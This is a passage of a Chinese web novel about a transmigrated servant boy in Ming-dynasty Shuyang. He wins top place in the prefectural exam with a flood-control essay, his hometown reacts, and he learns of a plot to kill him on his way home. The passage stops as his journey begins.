两名衙役一左一右“护送”着苏惟瑾,
他们的眼神复杂,
既有对学政大人命令的遵从,
也有一丝对这位特殊考生未来命运的好奇与怜悯。
“玄字柒拾叁号舍空出来了,你就去那里。”
一名衙役低声道,指了指原本属于张诚的号舍。
苏惟瑾拱手:“有劳二位差大哥。”
他步履沉稳地走向那间差点断送他前程,
如今却成为他起点的号舍。
号舍低矮狭窄,仅容一人转身,
内有一块充当桌案的木板,
以及一个充当凳子的号墩。
方才张诚挣扎时打翻的清水已经被人收拾过,
地面还残留着些许水渍,
空气中似乎还飘荡着那纨绔子弟绝望惊恐的气息。
苏惟瑾面不改色,
撩起那身浆洗得发白的青色仆役衣衫下摆,
坦然坐于号墩之上。
他深吸一口气,闭上双眼,
将门外的一切纷扰彻底摒除于心门之外。
超频大脑,启动!
如同精密仪器上紧了发条,
又如沉寂的星河骤然点亮!
无数信息流以前所未有的速度奔涌、
汇集、整理、分析!
周遭的一切细微声响
——其他号舍考生紧张的呼吸声、
笔尖划过草纸的沙沙声、
远处考官巡逻的轻微脚步声
——都变得清晰可辨,
却又被大脑自动过滤为无关干扰项。
核心任务:府试策问——沭阳水患治理。
相关记忆数据调用:
明代沭阳县地理志、水利文献摘要、
历代治水方略得失、
《水经注》片段、现代水力学基本原理、
流域综合治理概念、
水土保持工程学基础、
统计学简易模型、
应急预案组织流程……
信息融合处理中……
生成最优解答方案……
进行本土化语言包装……
整个过程在瞬息之间完成。
当他再次睁开眼时,
眸中已是一片沉静如水的深邃,
锐利的光芒内蕴,只余下全然的专注。
摊开考卷,磨墨,掭笔。
动作如行云流水,
带着一种奇异的韵律感,
丝毫不见慌乱,
此时此刻他才是此地真正的主人,
而非一个刚刚经历生死危机、
特许参考的“奴籍”考生。
远处的至公堂前,
提学御史周大人看似在听取属官汇报,
眼角的余光却始终未曾离开玄字柒拾叁号舍。
他看到那少年坐下闭目,
不过短短十息便睁开眼,
随即开始动笔,心下不由又是一奇:
此子心性竟如此沉稳?
这么快就理清了思路?
周大人忍不住轻轻挪动脚步,
假意巡视,悄然向玄字柒拾叁号舍靠近。
苏惟瑾对此恍若未觉,
或者说,即便察觉了,
此刻也全然不在意。
他的全部心神,已倾注于笔端。
策问开篇,
他并未急于抛出惊世骇俗的现代观点,
而是先引经据典,
从《禹贡》导淮入海,
谈到本朝潘季驯“筑堤束水,
以水攻沙”的方略,
显示其扎实的儒学功底和对治水历史的熟悉。
文字老练,立意端正,
单是这开篇,已远超寻常童生水准。
周大人微微颔首,此子基础倒是扎实。
然而,接下来,笔锋陡然一转!
“然,沭水之患,非仅河道也。
乃天、地、人三者失调之果也!”
一句总结,拔高立意。
周大人眉头微挑,来了兴趣。
“天者,雨汛无常,然非无可御。
学生浅见,
可设简易水则(水位尺)于上游峡谷、
中游陂塘、下游河道,
遣老成圩长日观夜察,
详录水位涨落之数。
若得三五年之数据,
便可粗略推演雨量丰枯与水位涨落之关联,
虽不及古之贤哲测算精微,
然于提前一二日预警乡民撤离、
加固堤防,或可奏奇效!
此所谓‘以数术窥天时,
借人力争一线’。”
周大人脚步猛地一顿!
水则测量古已有之,
但通常只用于关键河段。
系统性地布设观测点,
还要记录数据、寻找规律用于预警?
这思路……虽显稚嫩,
却带着一种前所未有的“格物”精神!
将虚无缥缈的“天时”试图用具体的“数据”来把握?
这简直是在用算学的矛去戳天人感应的盾!
大胆!
却又……隐隐觉得有几分道理!
不待周大人细思,
苏惟瑾的笔下行云流水,
已进入下一个层面。
“地者,水土流失乃河床抬高、水患频仍之根由也!
沭阳丘陵之地,百姓垦荒伐木,
地表裸露,每逢暴雨,泥沙俱下,
填入河道,焉能不涝?
治本之策,在于保土!”
“学生愚见,可效仿古法,
于坡地广植根系发达之灌木桑麻,
既可固土,亦可增百姓收益,
此为一利。
严禁陡坡垦殖,
引导百姓垦殖缓坡之地,
修筑梯田,减少冲刷,此为二利。
此法或需十数年方见大效,
然功在千秋!
此所谓‘人不负地,地定不负人’!”
“植被固土”?
“梯田”?
周大人眼中精光爆闪!
这已不仅仅是治水,
而是涉及农耕、民政的方略了!
将治水与民生经济相结合,
眼光长远!
尤其是“植被固土”之说,
虽古籍有零星记载,
但从未有人如此明确地将其提升到“治本之策”的高度!
此子见识,竟如此广博?
这些想法他从何而来?
难道真是天授?
苏惟瑾越写越快,
字迹虽因匆忙稍显潦草,
却力透纸背,一股磅礴的气势透过纸面散发出来!
“人者,统筹不力,各自为政乃大忌也!
学生以为,治水如治军,须号令统一,系统筹划!
当设一总管水利之职,
统筹上下游、左右岸,
统一调度民力物资。
枯水期疏浚河道,加固险工;
汛期则依据水则预警,分段巡查,
物资预储于关键节点。
何处该疏,何处该堵,何处该分洪泄流,
须有全局之谋,而非头痛医头,脚痛医脚。
此所谓‘运筹帷幄之中,
决胜江河之上’!”
“系统筹划”?
“全局之谋”?
周大人只觉得呼吸都有些急促了!
这已非简单的书生之见,
这简直是在阐述一种全新的组织管理哲学!
将工程管理与军事指挥相比拟,
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强调统筹与规划的重要性,
这眼光、这气魄,
哪里像一个十几岁的少年书童?
便是朝中久任实务的官员,
也未必有如此清晰的思路!
最后,苏惟瑾笔锋收拢,
回归现实,
提出了几条极具操作性的具体建议:
如何组织民夫、
如何因地制宜采用不同材料加固河堤、
甚至如何利用冬季农闲开展水利工程,
并粗略估算了所需钱粮人工,
虽然数据粗略,却显得异常真实可信。
“……综上,治水之道,
在于循天时、改地利、聚人和,
三者缺一不可。
标本兼治,方为长久之道。
学生浅见,仓促之间难免疏漏,
然一片赤诚,伏惟大人垂鉴。”
搁笔,轻轻吹干墨迹。
一篇融合了古代智慧与现代科学管理思维、
既有高屋建瓴的理论指导又有具体落实措施的惊世策论,
于此方寸号舍之中,
诞生于一位“奴籍”书童之手!
整个写作过程如长河倾泻,
一气呵成,中间几乎未有停顿。
周大人早已忘了掩饰,
就站在苏惟瑾的号舍之外,
目光死死盯着那卷墨迹未干的答卷,
脸上的表情从最初的惊讶,
到后来的凝重,
再到如今的极度震撼与难以置信!
他亲眼看着这个少年如何从一个扎实的起点出发,
一步步抛出那些闻所未闻却又发人深省、
甚至直指问题核心的观点!
这已经不是一篇文章了!
这是一幅宏大的治水蓝图!
一套缜密的行动方案!
一种超越时代的思维方式!
“天才……不!鬼才!国之鬼才!”
周大人心中掀起惊涛骇浪,
几乎要脱口而出!
他一生阅卷无数,自认慧眼识珠,
却从未见过如此文章!
如此考生!
这苏小九,哪里是什么奴籍书童?
分明是蒙尘的璞玉,蛰伏的潜龙!
之前的什么**、舞弊、奴籍身份……
在这一篇光芒万丈的策论面前,
全都显得微不足道!
可笑之极!
周大人强压下激动的心情,
深吸了好几口气,
才勉强恢复作为学政的威严。
他深深地看了苏惟瑾一眼,
那眼神复杂无比,
充满了欣赏、惊叹、
以及一种捡到稀世珍宝的狂喜。
苏惟瑾感受到目光,
抬起头,对着周大人微微躬身,
神情平静,既无得意,也无谄媚。
周大人什么也没说,
只是重重地点了点头,
转身离开,脚步竟有些轻快,
仿似年轻了十岁。
他知道,今日他破例做出的这个决定,
或许将是他此生最为人称道的政绩之一!
周围的考生们虽不敢明目张胆地观看,
但学政大人长时间驻足于玄字柒拾叁号舍前,
以及那位大人脸上掩饰不住的震惊与赞赏,
他们都隐约看在眼里。
无数道目光再次聚焦于那间小小的号舍,
充满了好奇、嫉妒与难以置信。
那个张家书童……
他到底写了什么?
竟能让一省学政失态至此?
苏惟瑾对这一切置若罔闻。
他仔细检查了一遍考卷,
确认无误后,便开始着手誊写。
嘴角,缓缓勾起一丝不易察觉的弧度。
考场,即是舞台。
而他的演出,才刚刚开始。
金手指的锋芒,已初试啼声。
这沭阳城,这大明朝,
终将因他的到来,而掀起真正的狂飙!
第46章寒门案首惊四方
府试结束,龙门再启。
考生们或垂头丧气,或志得意满,
或麻木茫然,如潮水般涌出贡院,
很快消散在沭阳城的大街小巷,
只留下无数悬着的心
和关于那个“特许参考的书童”的窃窃私语。
贡院深处,至公堂旁侧的阅卷房内,
气氛却截然不同。
灯火通明,香烟袅袅。
十数位被聘为此次府试同考官的官员正襟危坐。
这些同考官多由邻近州县的州县学官(教谕、训导等)以及德高望重的致仕(退休)老臣担任。
他们负责初步评阅试卷,
其学问人品均需受人认可。
面前堆叠着厚厚的试卷。
房内只闻纸张翻动的沙沙声、
偶尔的轻咳声、
以及压抑着的、
因看到狗屁不通文章而发出的无奈叹息。
提学御史周孚先周大人端坐主位。
提学御史乃一省最高教育长官,
由中央都察院御史出任,
掌管一省学政、科举考试,
位高权重,本次府试即由他担任主考官。
周大人面色沉静,
手指却无意识地轻叩着紫檀木案面,
显示出他内心的不平静。
他的目光,时不时会扫过被单独放置在手边的那份“玄字柒拾叁号”答卷。
经过糊名(将考生姓名籍贯密封)、
誊录(为防止笔迹认人,所有答卷由专人以朱笔重新抄写,生成“朱卷”)等严格程序后,
这份答卷的朱卷虽混于众多试卷之中,
但其内容,周大人早已烂熟于心。
初步阅卷评级(采用“圈、尖、点、直、叉”五等标记)已毕,
各房考官正在推荐本房“高荐”之卷
——即他们认为优秀、有资格取中的试卷。
按照流程,这些被各房考官看好的试卷,
才会被送到主考官周大人面前
进行最后裁定,尤其是决定名次高下。
“诸位,”
周大人清了清嗓子,
打破了阅卷房的沉寂。
“各房可有佳卷推荐?
尤其是那策问,关乎本府水利民生,
乃此次取士重中之重,
若有真知灼见,切莫遗漏。”
几位考官纷纷呈上本房选出的最优试卷,
多是一些经义功底扎实、诗赋工整、
策论四平八稳之作,
符合一贯的取士标准,
但鲜有令人眼前一亮者。
周大人耐心地一一翻阅,
点评几句,却不置可否。
直到最后,他才仿佛不经意般,
拿起手边那份早已看过的试卷,
递给他下首一位资历最老、
以学问严谨著称的致仕翰林陈老相公。
陈老曾任翰林院学士,
是两朝元老,致仕后归隐乡里,
因其德高望重、学问渊博,
故被周大人特意请来担任首席同考官,
他的意见极具分量。
“陈老,您看看这份。
经义部分,对《春秋》‘郑伯克段于鄢’的解读,
颇有几分…嗯,奇峭之风。”
周大人语气平淡,
眼神却带着一丝不易察觉的期待。
陈老相公接过试卷,
扶了扶老花眼镜,
初时神态悠闲。
他是两朝老臣,学问渊博,
等闲文章难入法眼。
然而,看着看着,
他花白的眉毛渐渐拧了起来,
嘴里发出“咦?”的一声。
“此子…胆量不小!”
陈老相公点着经义部分的一段。
“竟敢质疑朱注?
言‘克’字并非全然贬斥郑庄公之失德,
亦有彰显其**手腕、
维护国家稳定之意?
还引《左传》中‘多行不义必自毙’佐证,
强调共叔段之咎?
这…这虽非正解,
倒也能自圆其说,
提供了个新角度看问题…”
其他考官闻言,也略感好奇。
敢于在科举考试中质疑权威注解,
要么是狂妄无知,
要么是真有见地。
周大人不答,只示意他继续看。
陈老相公接着看诗赋,微微颔首:
“嗯,咏史怀古,笔力雄健,
气象开阔,不像少年人手笔,
倒似饱经沧桑之士所作,难得。”
最后,他的目光落在了那篇让周大人失态的策论之上。
起初,他看的速度还正常。
很快,他的阅读速度慢了下来。
身体不由自主地前倾,
手指一行行划过纸面,
嘴唇无声地翕动着,
分明在逐字咀嚼。
看到设立水则、数据预警部分,
他眼中露出思索;
看到“植被固土”、“梯田”之策,
他猛地一拍大腿(差点把旁边一位打瞌睡的考官吓出好歹);
看到“治水如治军”、“系统筹划”之论,
他霍然抬起头,眼中精光四射,
看向周大人,声音都因激动有些变调:
“周大人!此卷…此卷何在?!
快找出其墨卷(原卷)!
老夫要看看这究竟是哪位大才所作?!
这…这治水之策,高屋建瓴,
切中时弊,既有古圣先贤之遗风,
又有…又有前所未闻之创见!
若真能施行于沭水,
实乃百姓之福,朝廷之幸啊!”
陈老相公的激烈反应顿时吸引了所有考官的注意。
一时间,那份朱卷被争相传阅。
“唔,经义是有些离经叛道,
但细究之下,并非胡言乱语…”
“诗赋极佳!当为此次魁首!”
“妙啊!
‘运筹帷幄之中,决胜江河之上’!
此言壮哉!”
“咦?
这‘以数术窥天时’…
虽显匠气,却似乎…颇有实效?”
“何止实效!
老夫在地方为官十载,
深知河工之弊,
历来头痛医头,脚痛医脚!
从未见过如此统筹全局之策!
此子有相才之略!”
惊叹声、争论声此起彼伏,
阅卷房前所未有的热闹起来。
几乎所有考官都被这篇策论折服,
那超越时代的眼光和极强的可行性,
让他们这些熟读诗书、
深知民间疾苦的官员产生了强烈的共鸣。
然而,当周大人缓缓道出此卷作者,
正是那闹得满城风雨、
特许参考的“奴籍书童”苏小九时,
房内瞬间安静了下来。
方才还赞叹不已的几位考官,
脸色顿时变得精彩纷呈。
“竟…竟是他?”
一个胖胖的考官捻着胡须的手停住了,
满脸难以置信。
“这…这怎么可能?
一个书童,岂能有如此见识?”
“是啊,周大人,莫非其中…”
另一位瘦高考官面露迟疑,
暗示是否有**或者提前**的可能。
“糊涂!”
陈老相公却猛地一杵拐杖,
厉声道。
“尔等皆是读圣贤书的,
岂不闻‘英
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雄不问出处’?
此文之气象、之谋略,
岂是寻常**能代笔?
至于**,此次策问题乃周大人临考前所出,
如何泄露?
难道周大人会自毁长城不成?”
周大人面色一沉:
“试卷糊名誊录,
流程尔等皆在当场,
本官亦是阅卷时才知此卷对应何人。
莫非诸位信不过本官,
也信不过这科举法度?”
那瘦高考官顿时冷汗涔涔,
连称不敢。
但仍有考官顾虑重重:
“大人,陈老,非是我等迂腐。
此子才华,确乎惊人。
然其身份特殊,若点为案首,
恐惹物议,说大人您…
呃…有失权衡,
恐于大人官声有碍啊。”
这话说得委婉,意思却很明白:
点一个奴籍案首,
容易招来非议,为了个寒门小子,不值得。
“迂腐!迂腐之极!”
陈老相公气得胡子直翘。
“为国取士,自当以才学论高低!
岂能因出身而屈才?
若因惧怕物议便埋没此等经世之才,
才是真正的有负圣恩,有损官声!
周大人,此子之才,
远超同侪,其策论尤为国士之风!
老夫以为,此卷当为案首!”
周大人目光扫过全场,
将众人神色尽收眼底。
他心中早有决断,
此刻不过是要压下所有异议。
他缓缓起身,拿起那份朱卷,
声音不高,却带着不容置疑的威严:
“本官受天子之命,
提学一省,代天取士。
首重者,才学德识!”
“苏小九之卷,经义不落窠臼,自有风骨;
诗赋气象恢宏,已显格局;
而其策论…”
周大人停顿了一下,目光灼灼。
“诸位皆已看过,本官不再赘言。
其论高远务实,
非皓首穷经之辈所能道,
更非锱铢必较之吏所能企及。
乃真正能安邦济民之良策!”
“若因门户之见、出身之疑,
便使明珠蒙尘,使国失良才,
方才是本官失职,
才是真正愧对朝廷,愧对陛下!”
“本案首,非他莫属!若有物议,本官一力承担!”
话音落下,掷地有声!
周大人以其绝对的权威和铿锵有力的理由,
彻底压下了所有质疑。
众考官面面相觑,最终齐齐拱手:
“大人明鉴!我等并无异议!”
案首既定,余者名次便快了许多。
当最终排名落定,
书吏们开始拆开糊名,
填写榜文时,
所有人才真正将那个名字
——“苏小九”——与那份惊才绝艳的答卷彻底对应起来。
一股复杂的情绪在阅卷房内弥漫。
有惊叹,有嫉妒,有欣慰,
也有一丝历史在眼前发生的恍惚感。
周大人负手立于窗前,
望着窗外渐露的晨曦,
嘴角终于露出一丝如释重负的笑意。
他知道,他亲手挖出了一块足以震动朝野的璞玉。
而这块璞玉的锋芒,
才刚刚露出第一缕光。
沭阳城的清晨,注定将因这张榜文,
而掀起前所未有的狂澜。
那张写着“苏小九”名字的案首之位,
如同一记无声却响亮的耳光,
即将抽在所有曾轻视、
欺辱过他的人脸上。
好戏,才刚刚开场。
第47章 捷报传回,沭阳炸开锅
沭阳城这几日,像是被投入滚油的冷水,彻底炸开了锅。
那话题的中心,绕来绕去,总离不开两个字——苏小九。
先是张家少爷考场**
被自家书童当堂举报的惊天丑闻,
已是街知巷闻,成了茶余饭后最劲爆的谈资。
张家平日里仗着财势没少欺压乡里,
如今出了这等事,暗地里拍手称快者不知凡几。
“听说了吗?
那张少爷被学政大人的亲兵
像拖死狗一样从号舍里拖出来的!”
“何止啊!那张福管家,
平日里多威风?
现在还在大牢里啃窝头呢!”
“该!让他张家横行霸道!
连科举都敢伸手,活该!”
各种添油加醋的版本在茶馆酒肆、
街头巷尾疯狂流传,越传越离谱。
然而,就在众人以为这已是今年沭阳县最炸裂的新闻时,
又一记更猛的重磅惊雷,
裹挟着府城官道的尘土,轰然砸下!
这一日,天刚蒙蒙亮,
几匹快马便旋风般冲入沭阳城门。
马背上的差役身背红旗,
高喊着“捷报!府试捷报!”
一路直奔县衙。
寻常百姓对此早已见怪不怪,
每年此时总有这么一出。
但很快,人们就察觉到了不对劲。
那捷报……似乎念得格外久?
而且围在县衙照壁前看榜的人,
那表情……怎地如此古怪?
先是死一般的寂静,
随即爆发出几乎要掀翻房顶的惊呼和议论!
消息像长了翅膀,以惊人的速度席卷全城:
“案首!府试案首!是苏小九!!”
“哪个苏小九?莫非是……”
“还能是哪个!就是那张家的书童!
举报张家少爷那个!!”
“老天爷!这怎么可能?!
一个书童……拿了案首?!”
“千真万确!
捷报上写得明明白白!
学政周大人亲点的案首!苏小九!”
轰——!
整个沭阳城彻底沸腾了!
与这全城沸腾形成鲜明讽刺的,
是几处特定的景象。
张家府邸内,此刻却是一片愁云惨雾,如同末日降临。
张承宗把自己关在书房里,
地上满是砸碎的瓷片和撕烂的书籍账本。
他呼哧呼哧地喘着粗气,
眼睛血红,额上青筋暴跳。
“案首……案首……
哈哈哈!我张家的书童,成了案首?!”
张承宗状若癫狂,
猛地又将一方上好的端砚狠狠砸在地上。
“奇耻大辱!奇耻大辱啊!!”
而内宅里,张诚蜷缩在锦被中,
用被子死死蒙着头,
任凭他母亲如何哭喊拉扯,
就是不肯出来见人。
外面隐约传来的议论声、嘲笑声,
像针一样扎进他的耳朵里。
而在西街靠近市集的地方,
苏有才的儿子苏惟强,
正和他堂弟、苏有德的儿子苏惟壮,
在一家早点摊子前,
唾沫横飞地吹嘘着。
苏惟强在镇上赌坊混事,一身流气,
他拍着胸脯,声音响亮,生怕旁人听不见:
“呸!苏小九那个丧门星?
举报主家,以下犯上,等着吧!
张家能饶了他?
学政大人能饶了他?
不死也得脱层皮!
我看他啊,能不能活着回沭阳都两说!”
苏惟壮在一旁用力点头附和,
他跟在父亲身边做些小买卖,
学了几分刻薄:
“就是!一个贱奴,
还真以为自己能上天?
读书?
认几个字就不知道自个儿姓什么了!
强哥说得对,他这回是捅破天了!
等着被收拾吧!”
周围一些摊贩和早起吃早点的人,
有的附和地笑着,有的则沉默不语,
但显然,在这捷报传来之前,
大多数人都认为苏惟强兄弟的话虽糙,
理却不偏
——一个奴籍书童,挑战主家,
还能有好果子吃?
苏惟强见有人附和,更加得意,
他故意提高音量,
宛如已经看到了苏惟瑾凄惨的下场:
“等那小子被押回来游街的时候,
哥几个都去看热闹啊!
让他当初清高,
不肯帮我们兄弟在张家谋差事,活该!”
就在他话音刚落的当口,
那报捷的快马恰巧疾驰而过,
差役嘹亮的“府试案首苏小九”的喊声,
如同一个无形的巴掌,
狠狠地扇在了苏惟强和苏惟壮的脸上。
兄弟二人脸上的嚣张和得意瞬间凝固,像是被冻住的癞**。
苏惟强张着嘴,
后面嘲讽的话卡在喉咙里,
脸色由红转青,再由青转白,
眼珠子瞪得几乎要掉出来:
“不……不可能!
听错了!一定是听错了!”
苏惟壮更是浑身一抖,
手里刚咬了一口的肉包子“啪嗒”掉在地上,
他也顾不上了,结结巴巴地说:
“案……案首?
他……他不是被抓起来了吗?”
周围刚才还附和他们的人,
此刻眼神全都变了,
从之前的些许认同,
变成了毫不掩饰的惊讶、戏谑,
甚至有人直接笑了出来。
“哟,惟强,惟壮,
刚不是说人家要游街吗?
合着是游街夸官啊?”
“案首啊!我的天,
咱们西街军户苏家,
出了个府试案首!”
“哈哈哈,这下有意思了,
刚才谁在那儿一口一个‘贱奴’来着?”
刺耳的议论和嘲笑声钻入耳朵,
苏惟强和苏惟壮只觉得脸上火辣辣的,
俨然被当众剥光了衣服般。
苏惟强还想强撑:
“定……定是搞错了……”
但底气已然全无。
“错不了!县衙榜文都贴出来了!
白纸黑字,苏小九,案首!”
有**声证实道。
兄弟俩再也无地自容,
苏惟强一把拉起还在发懵的苏惟壮,
在众人哄笑声中,
灰头土脸、几乎是落荒而逃,
连头都不敢回,
与先前那趾高气扬的样子判若两人。
与苏惟强兄弟的狼狈相比,
苏家老宅则是另一番光景。<
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br>七叔公苏正廉初闻捷报时,
惊得摔了粥碗,待确认后,
激动得老泪纵横,
“老夫要亲自去府城接人!”
他激动得在院里直转圈,
一会哭一会笑:
“苍天有眼!祖宗保佑!
我苏家门户有救了!有救了啊!”
转了两圈,他猛地停下,
脸色倏地一变,
闪过一丝老军户特有的警惕和狠厉:
“不对!
张家那起子黑心烂肺的东西,
吃了这么大亏,绝不会善罢甘休!
他们不敢明着对抗学政大人的裁决,
但暗地里……快!
快去叫上族里几个还能动弹的后生,
带上棍棒,跟老夫一起去!
万一张家敢在路上使绊子……”
老头子瞬间进入了“护崽”模式,
思维清晰,行动力爆表。
他的目光扫过院子,
恰好看到站在井边、
眼圈通红却满脸放光的苏婉。
七叔公心中一动,立刻扬声道:
“婉儿!还愣着干什么!
这些粗活放下!
赶紧去换身干净衣裳!”
他转头又对刚从屋里闻声出来的苏有德婆娘王氏厉声吩咐:
“老五家的!立刻去割肉买鱼!
晚上整治一桌好菜!
婉儿这孩子,这些日子受苦了,得好好补补!
从今往后,谁也不许再让她干重活!
听见没有?!”
王氏脸上闪过一丝不自然,
但迎着七叔公那不容置疑的目光,
以及周围族人瞬间变得热切和赞同的眼神,
她立刻挤满了笑容,连声应道:
“哎呦,七叔公您放心!
婉儿是我亲侄女,
我疼她还来不及呢!
以前……以前那也是为了磨炼她,
让她懂事不是?
我这就去,这就去!”
说着,她竟破天荒地走到苏婉身边,
试图接过她手中的洗衣盆,
语气是前所未有的和蔼。
周围的族人,
无论是先前冷眼旁观的,
还是暗中同情却不敢出声的,
此刻都围了上来,脸上堆满了笑容,
七嘴八舌地夸赞起来。
苏婉被这突如其来的热情包围着,
有些无措,但心中涌起一股暖流。
她知道,这一切的改变,
都源于哥哥那耀眼的功名。
很快,一辆破旧的驴车从西街疾驰而出,
七叔公苏正廉亲自带队,
前往府城迎接苏家的荣耀。
而此刻,风暴中心的那位少年,
正安静地待在府城学政衙门安排的驿馆中。
他望着沭阳城的方向,嘴角微扬。
“婉妹,”
他心中默念。
“哥哥没有失信。
这案首之功,便是接你离开泥淖的第一步。
从今日起,再无人敢轻你、辱你。
等着哥哥。”
他知道,沭阳的回响,绝不会小。
而他,已然做好了迎接一切的准备。
苏惟强、苏惟壮之流,
连同他们背后的父辈,
此刻的嫉妒、难堪与恐慌,
不过是他崛起之路上,
微不足道的注脚。
第49章 归途遇险?张家欲灭口!
怀揣着学政大人赠与的十两“巨款”和沉甸甸的期许,
苏惟瑾并未在府城过多停留。
树大招风,如今他这“府试案首”的名头已然传开,
继续留在这是非之地,
难保不会横生枝节。
更何况,沭阳还有一堆烂摊子和“故人”等着他呢。
他谢绝了府城几个小吏和商户闻讯而来的、
带着试探性质的邀请宴饮,
只去书坊用周大人赠银的一小部分,
精心挑选了几本眼下急需的经义注解和时文集子,
又备了些实惠的干粮,
便决定次日一早启程返乡。
超频大脑始终保持着警惕。
张家在这次交锋中损失惨重,
颜面尽失,以张承宗那睚眦必报的性子,
绝无可能咽下这口恶气。
明面上碍于学政的威势不敢如何,
但暗地里的阴招,恐怕早已酝酿。
官道?还是小路?
走官道目标明显,但相对安全,
驿卒、商队往来频繁。
小路隐蔽,但易于设伏。
苏惟瑾几乎瞬间就做出了选择
——官道!
他如今已非寂寂无名的张家书童,
而是学政大人亲点的府试案首,
若在官道上出了“意外”,
引起的关注和追查力度绝非小事,
张家也得掂量掂量。
反之,若在小路“意外”身亡,
那才真是叫天天不应。
然而,就在他打点好行装,
准备歇下时,
驿馆的伙计却敲门带来一个意想不到的人。
来人是个四十岁上下的汉子,
皮肤黝黑,满脸风霜褶皱,
身上穿着打满补丁的粗布短褂,
脚上一双破草鞋沾满了泥泞,
浑身透着股长期在地里刨食的庄稼汉气息。
他神色慌张,眼神躲闪,
站在门口搓着一双粗粝大手,
显得极为局促不安。
“请…请问,
沭阳来的苏小相公,
可是住这里?”
汉子声音粗嘎,
带着浓重的乡音,语气急切。
苏惟瑾心中微凛,
面上却不露声色:
“我就是。
这位大哥是?”
那汉子一听,眼睛猛地一亮,
又迅速警惕地四下张望,
压低声音道:
“小相公,
俺…俺是张家庄子的佃户,
叫张老三!
俺家狗蛋…后山上,
毒蛇…是您救了他一命啊!”
他说着,情绪激动起来,
竟噗通一声就要跪下。
苏惟瑾瞬间想起来了!
那是他刚穿越不久,
一次被张诚刁难去后山捡柴时,
偶然用现代野外急救知识(用衣带捆扎伤口,
挤出毒血,找了点清热解毒的草药捣碎敷上)救下的一个被毒蛇咬伤、
奄奄一息的佃户孩子。
当时只道是随手之举,没想到……
他连忙扶住张老三:
“大叔快请起,不过是碰巧遇上,
举手之劳,当不得如此大礼。
你怎会找到这里来?
可是家里出了什么事?”
他敏锐地察觉到不对,
一个张家佃户,
怎会连夜找到府城驿馆来?
张老三被扶起,眼圈发红,
也顾不得擦,急吼吼道:
“小相公!
俺是偷跑出来给您报信的!
天大的祸事啊!”
他声音发颤,透着恐惧:
“昨儿夜里,俺去给庄头送柴火,
路过窗根底下,
听见…听见张老爷的心腹张彪在跟庄头喝酒,
说…说绝不能让你这贱奴活着回到沭阳!
说…说府试案首又怎样?
路上出个‘意外’太容易了!
摔死、淹死、遇上拍花子的…
法子多的是!
还说…事成之后,
赏庄头二十亩好田!”
张老三喘着粗气,
脸上满是后怕:
“俺听得魂都快吓掉了!
狗蛋的命是您救的,
俺不能眼睁睁看着您…
俺婆娘也催俺,说恩人有难,
知道了就不能装聋作哑!
俺就…就偷了庄头一头驴,
连夜跑来了!
小相公,您可不能一个人回去啊!
那张彪是练家子,
手下还有几个泼皮,
心黑手狠着呢!”
果然来了!
苏惟瑾眼神骤然一冷。
张承宗,真是狗改不了吃屎!
手段如此下作狠毒!
但他立刻想到了更严重的问题
——张老三的安全。
他神色一凛,
抓住张老三的胳膊,
语气严肃地低声道:
“张大叔,您冒死前来,
此恩重如山!
但您连夜出来,庄头发现驴不见了,
定会起疑!
您回去后,万一走漏风声,
张家绝不会放过您!”
张老三闻言,脸色瞬间煞白,
他光想着报恩,却没细想后果,
此刻被点醒,顿时手足无措:
“啊?那…那俺可咋办啊小相公…”
苏惟瑾超频大脑飞速运转,
立刻有了主意:
“您别慌。
听我说,您回去后,
立刻把驴悄悄还回去。
若有人问起昨夜行踪,
您就说…就说婆娘急病发作,
您一时情急,
未经允许借了驴连夜去邻村请郎中,
折腾了半宿,郎中请到,
驴也一早还回了。
记住,无论谁问,
都咬定是这个说法!
至于婆娘的病,
就说是一时气急攻心,
如今已缓过来了。”
这借口寻常且难以立刻查证,
能最大程度消除怀疑。
说完,他又从怀中摸出约莫半钱碎银子塞过去:
“这银子您务必拿着!
不是酬谢,
是给您婆娘‘看病’抓药用的!
把事情坐实!”
张老三像是被烫到一样猛地缩手,
连连后退,脑袋摇得像拨浪鼓:
“使不得!使不得!小相公!
俺来报信是报恩,不是图钱!
俺要是拿了这钱,成啥人了!
这…这主意好,俺记住了,
俺就说婆娘急病!
俺不能要您的钱!”
见他态度坚决,
苏惟瑾心念电转,
不再强塞银钱。
他沉吟片刻,道:
“大叔且在此稍候片刻!”
说完,他快步转身回到房中,
拿起自己还没来得及吃的几包实惠点心,
又想起张老三提到过的孩子,
便迅速向驿馆伙计打听附近是否有成衣铺,
连夜敲开门,用几十文钱买了两套结实耐穿的孩童衣裳。
他将点心和衣服包成一个包袱,
出来塞到张老三怀里,
语气诚恳:
“大叔,钱您不收,
这点心和给孩子买的衣裳,
您务必收下!
狗蛋遭了罪,正该补补。
孩子长得快,衣服也该换新的了。
这不是谢礼,
是我这做兄长的一点心意。
您若不收,便是瞧不起我了。”
张老三看着怀里鼓鼓的包袱,
摸着里面柔软的童装,
想到家里孩子渴望的眼神,
鼻子一酸,眼眶又红了。
他嘴唇哆嗦着,这次没有再推辞,
而是将包袱紧紧抱在怀里,
重重点头:
“诶!诶!谢谢小相公!
俺…俺替狗蛋和他娘谢谢您!
您…您千万小心!”
说着,他不再犹豫,
转身快步离去,
那背影很快消失在府城夜晚的街道尽头,
但脚步似乎踏实了许多。
苏惟瑾望着他消失的方向,
心中感慨。
底层百姓,大多淳朴,知恩图报。
这与张承宗那等为富不仁的土豪,
形成了鲜明对比。
自己必须更谨慎,不能连累这样的好人。
危机已然明确,对策也需调整。
他原本打算独自雇车走官道,
如今看来,还不够稳妥。
张彪那些地头蛇,
未必不敢在官道某些偏僻路段动手。
超频大脑飞速运转,很快,一个计划成型。
次日一早,苏惟瑾并未急着出发。
他先去了府城车马行,
却并非直接雇车回沭阳,
而是雇了一辆最普通、
最不起眼的骡车,
声称要去沭阳方向的邻县探亲,
并特意要求车夫走官道,
且在巳时(上午9-11点)左右,
务必经过官道上的一处凉亭。
随后,他找驿馆借了纸笔,
修书一封,
找来一个跑腿的小厮,
付了几个铜板,
让他务必以最快速度送往沭阳西街苏正廉处。
信上只有寥寥数语:
“孙儿即归,恐途有恶犬拦路,
恳请七叔公率族中青壮,
于今日巳时,于官道‘回马亭’相接
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。”
他算准了时间,
七叔公接到信,
以那老头子的火爆脾气和对“苏家希望”的重视,
必定会第一时间带人赶来。
回马亭是官道从府城方向进入沭阳县境的标志性地界,
距离适中,正好汇合。
安排妥当,
苏惟瑾这才不慌不忙地坐上骡车,
出了府城,晃晃悠悠地踏上归途。
车夫是个老实巴交的中年人,
话不多,只是赶车。
苏惟瑾坐在车内,看似闭目养神,
实则超频感知全开,
仔细留意着沿途的一切动静。
官道两旁田野开阔,远处村落依稀。
行程过半,逐渐进入一段略显偏僻的路段,
